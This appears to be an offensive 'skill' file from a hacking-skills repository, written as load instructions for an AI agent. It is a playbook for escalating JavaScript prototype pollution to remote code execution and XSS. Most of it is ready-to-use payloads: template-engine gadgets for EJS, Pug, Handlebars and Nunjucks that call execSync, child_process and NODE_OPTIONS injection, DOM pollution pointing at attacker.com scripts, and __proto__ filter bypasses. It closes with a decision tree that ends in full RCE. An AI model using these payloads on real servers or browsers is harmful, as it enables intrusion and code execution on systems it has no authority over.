yaklang/hack-skills

prototype-pollution-advanced

- Advanced prototype pollution playbook — server-side RCE, client-side gadgets, filter bypasses, and detection techniques.

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SKILL: Prototype Pollution Advanced — RCE & Gadget Exploitation

AI LOAD INSTRUCTION: Advanced prototype pollution escalation. Covers server-side RCE via template engines (EJS, Pug, Handlebars), Node.js childprocess gadgets, client-side script gadgets, filter bypass patterns, and systematic detection. Load [../prototype-pollution/SKILL.md](../prototype-pollution/SKILL.md) first for fundamentals (merge sinks, `proto vs constructor.prototype`, basic probes).

0. RELATED ROUTING

Advanced Reference

Load KNOWN_GADGETS.md for the comprehensive gadget table by framework/library with polluted properties, trigger conditions, impact, and affected versions.


1. SERVER-SIDE PP → RCE

1.1 Node.js child_process.spawn — Shell/ENV Injection

When child_process.spawn or child_process.fork is called without explicit env/shell options, it inherits from Object.prototype:

javascript
// Vulnerable pattern (very common):
const { execSync } = require('child_process');
execSync('ls');  // inherits shell, env from prototype

// Pollution for RCE:
Object.prototype.shell = '/proc/self/exe';
Object.prototype.argv0 = 'console.log(require("child_process").execSync("id").toString())//';
Object.prototype.NODE_OPTIONS = '--require /proc/self/cmdline';
// Next child_process call executes attacker code

Alternative ENV pollution:

json
{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}

1.2 EJS (Embedded JavaScript Templates)

EJS render() reads opts from object properties. Polluting outputFunctionName injects code into the compiled template function:

json
// Pollution payload:
{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}

// When EJS renders ANY template after pollution:
// Compiled function includes: var x;process.mainModule.require('child_process').execSync('id');s = "";
// → RCE

Detection: any EJS res.render() call after pollution triggers it.

1.3 Pug (formerly Jade)

Pug's compiler reads block from object properties:

json
{"__proto__": {"block": {"type": "Text", "val": "x]);process.mainModule.require('child_process').execSync('id');//"}}}

Alternative via self option:

json
{"__proto__": {"self": true, "line": "x]});process.mainModule.require('child_process').execSync('id');//"}}

1.4 Handlebars

Handlebars template compilation checks type and program on template AST nodes:

json
{"__proto__": {"type": "Program", "body": [{"type": "MustacheStatement", "path": {"type": "PathExpression", "original": "constructor.constructor('return process.mainModule.require(`child_process`).execSync(`id`)')()","parts": ["constructor","constructor"]}, "params": [], "hash": null}]}}

Simpler via allowProtoMethodsByDefault:

json
{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}
// Then use {{#with this as |obj|}}{{obj.constructor.constructor "return process.mainModule.require('child_process').execSync('id')"}}{{/with}}

1.5 Nunjucks

json
{"__proto__": {"type": "Code", "value": "global.process.mainModule.require('child_process').execSync('id')"}}

1.6 Express res.render (Generic)

When Express calls res.render(), options merge with app.locals and res.locals. Polluted prototype properties appear as template variables:

json
{"__proto__": {"view options": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}}

2. CLIENT-SIDE PROTOTYPE POLLUTION

2.1 jQuery Gadgets

$.extend(true, {}, userInput) performs deep merge — classic PP sink.

After pollution, jQuery's HTML methods use polluted properties:

javascript
// Pollution:
Object.prototype.innerHTML = '<img src=x onerror=alert(1)>';

// Trigger: any jQuery DOM manipulation that reads innerHTML from prototype
$('<div>').appendTo('body');  // may use polluted property

2.2 Lodash Gadgets

javascript
// Vulnerable functions (deep merge):
_.merge({}, userInput)
_.defaultsDeep({}, userInput)
_.set(obj, path, value)  // if path is attacker-controlled

// template() gadget:
Object.prototype.sourceURL = '\u000ajavascript:alert(1)//';
_.template('hello')();  // sourceURL injected into Function constructor

2.3 Script Gadgets in Frameworks

"Script gadgets" are framework code paths that read from Object.prototype and perform dangerous operations:

FrameworkGadget PatternPolluted PropertyImpact
jQuery$.html(), element creationinnerHTML, srcXSS
Angular.js$interpolate__defineGetter__XSS
Vue.jsTemplate compilationtemplate, renderXSS
Ember.jsComponent renderingVarious view propertiesXSS
Backbone.js_.templatesourceURLXSS

2.4 DOM Property Pollution

javascript
Object.prototype.src = 'https://attacker.com/evil.js';
Object.prototype.href = 'javascript:alert(1)';
Object.prototype.action = 'https://attacker.com/phish';
// Any dynamically created element may inherit these

3. DETECTION TECHNIQUES

3.1 Black-Box Server-Side Detection

Step 1: Inject and check
  POST /api/endpoint
  {"__proto__":{"polluted":"yes"}}
  
  Then: GET /api/anything
  Check if response contains "polluted" or behavior changes

Step 2: Error-based detection
  {"__proto__":{"toString":1}}
  → If server crashes or returns 500, toString was overwritten
  
  {"__proto__":{"valueOf":1}}
  → Same crash-based detection

Step 3: Response differential
  {"__proto__":{"status":555}}
  → Check if HTTP status code changes to 555
  
  {"__proto__":{"content-type":"text/plain"}}
  → Check if Content-Type header changes

3.2 Black-Box Client-Side Detection

javascript
// In browser console after interacting with the app:
Object.prototype.testPollution
// If returns a value → something polluted the prototype

// Automated: override defineProperty to detect writes
Object.defineProperty(Object.prototype, '__proto__', {
    set: function(v) { console.trace('PP detected!', v); }
});

3.3 Automated Tools

ToolTypePurpose
PPScanBurp ExtensionScans for server-side PP
server-side-prototype-pollutionBurp Extension (Gareth Heyes)Advanced server-side PP detection with multiple techniques
ppfuzzCLIFuzz for client-side PP via URL fragment/query
ppmapCLIMap client-side PP to known gadgets

4. BYPASS __proto__ FILTERS

4.1 constructor.prototype Path

json
// Instead of:
{"__proto__": {"polluted": "yes"}}

// Use:
{"constructor": {"prototype": {"polluted": "yes"}}}

4.2 Bracket Notation Variants

?constructor[prototype][polluted]=yes
?__proto__[polluted]=yes
?__pro__proto__to__[polluted]=yes   (if filter strips __proto__ once)

4.3 JSON Key Variations

json
{"__proto__": {"a": 1}}
{"constructor": {"prototype": {"a": 1}}}
{"__proto__\u0000": {"a": 1}}

4.4 Key Distinction: Shallow vs Deep

Object.assign does NOT pollute prototype (shallow copy, safe). Only recursive/deep merge functions are vulnerable. Always verify the merge depth.


5. EXPLOITATION FLOW

1. Find merge sink (../prototype-pollution/SKILL.md Section 0)
   └── JSON body parsed and deep-merged into server object

2. Confirm pollution:
   └── {"__proto__":{"testxyz":"1"}} → check if testxyz appears globally

3. Identify technology stack:
   ├── Express + EJS → outputFunctionName gadget (Section 1.2)
   ├── Express + Pug → block gadget (Section 1.3)
   ├── Express + Handlebars → type/program gadget (Section 1.4)
   ├── Any Node.js with child_process → shell/NODE_OPTIONS (Section 1.1)
   ├── Client-side jQuery → DOM gadgets (Section 2.1)
   ├── Client-side Lodash → template/sourceURL (Section 2.2)
   └── Unknown → try KNOWN_GADGETS.md systematically

4. Craft RCE/XSS payload matching gadget

5. Verify with safe payload first (sleep / DNS callback)

6. Escalate to full RCE

6. DECISION TREE

Confirmed prototype pollution?
│
├── Server-side or client-side?
│   │
│   ├── SERVER-SIDE
│   │   ├── Template engine in use?
│   │   │   ├── EJS → __proto__.outputFunctionName (Section 1.2)
│   │   │   ├── Pug → __proto__.block (Section 1.3)
│   │   │   ├── Handlebars → __proto__.type (Section 1.4)
│   │   │   ├── Nunjucks → __proto__.type (Section 1.5)
│   │   │   └── Unknown → try each gadget from KNOWN_GADGETS.md
│   │   │
│   │   ├── child_process used anywhere?
│   │   │   ├── YES → __proto__.shell + NODE_OPTIONS (Section 1.1)
│   │   │   └── MAYBE → inject and trigger error to reveal stack
│   │   │
│   │   └── No known gadget?
│   │       ├── Try status code pollution: __proto__.status = 555
│   │       ├── Try header pollution: __proto__.content-type
│   │       └── Check KNOWN_GADGETS.md for framework match
│   │
│   └── CLIENT-SIDE
│       ├── jQuery loaded?
│       │   ├── YES → $.extend deep merge + DOM gadgets (Section 2.1)
│       │   └── Check ppmap for automated gadget detection
│       │
│       ├── Lodash loaded?
│       │   ├── YES → _.template sourceURL gadget (Section 2.2)
│       │   └── _.merge as both sink AND gadget
│       │
│       └── Framework (Angular/Vue/Ember)?
│           └── Script gadget lookup (Section 2.3)
│
├── __proto__ keyword filtered?
│   ├── Try constructor.prototype (Section 4.1)
│   ├── Try bracket notation (Section 4.2)
│   └── Try JSON key variations (Section 4.3)
│
└── Not confirmed yet?
    └── Go back to ../prototype-pollution/SKILL.md for detection

7. QUICK REFERENCE — KEY PAYLOADS

json
// EJS RCE
{"__proto__":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}

// Pug RCE
{"__proto__":{"block":{"type":"Text","val":"x]);process.mainModule.require('child_process').execSync('id');//"}}}

// child_process RCE (Node.js)
{"__proto__":{"shell":"node","NODE_OPTIONS":"--require /proc/self/cmdline"}}

// Lodash template XSS
{"__proto__":{"sourceURL":"\u000ajavascript:alert(1)//"}}

// Filter bypass (constructor path)
{"constructor":{"prototype":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}}

// Safe detection probe
{"__proto__":{"pptest123":"polluted"}}
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